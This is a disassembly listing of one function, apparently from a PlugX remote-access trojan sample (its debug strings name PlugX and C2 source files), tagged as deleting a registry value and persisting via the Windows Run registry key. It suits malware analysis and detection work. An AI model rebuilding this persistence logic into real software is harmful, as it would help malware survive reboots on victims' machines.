Function at 0x10008110
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
call fcn.10008340
call fcn.100084a0
cmp dword [0x1002d3d8], 0
jne 0x10008156
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x1000814c
mov dword [eax + 0x1990], 0
mov dword [0x1002d3d8], eax
jmp 0x10008156
mov dword [0x1002d3d8], 0
cmp dword [0x1003107c], 0
mov dword [ebp - 4], 0
jne 0x10008186
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1003107c], eax
test eax, eax
je 0x100081a2
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1003107c]
test eax, eax
jne 0x100081a2
xor ecx, ecx
mov dword [ebp - 4], ecx
jmp 0x100081a5
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
test ecx, ecx
push eax
mov edx, 0x102
mov eax, 2
cmovne eax, edx
push eax
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x10008206
push 0x10030554
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x10008213
test eax, eax
je 0x10008206
push 0
mov edx, 0x287
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
push esi
mov edx, 0x258
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
jmp 0x10008223
test eax, eax
je 0x1000822b
push 0
mov edx, 0x28f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
cmp dword [0x1002d3d8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0
jne 0x1000827c
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x10008272
mov dword [eax + 0x1990], 0
mov dword [0x1002d3d8], eax
jmp 0x1000827c
mov dword [0x1002d3d8], 0
cmp word [0x10030354], 0
jne 0x100082d6
push 0
mov edx, 0x38
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x100082d6
push 0
mov edx, 0x39
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x100082d6
push 0
mov edx, 0x3a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
mov edx, 0x10030354
lea ecx, [ebp - 0x18]
call fcn.1001b5b0
test eax, eax
je 0x100082fb
push 0
mov edx, 0x1e3
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [ebp - 0xc]
call fcn.1001b280
test eax, eax
je 0x1000831b
push 0
mov edx, 0x1e8
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1000832d
push 1
push eax
call fcn.10027bcc
add esp, 8
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret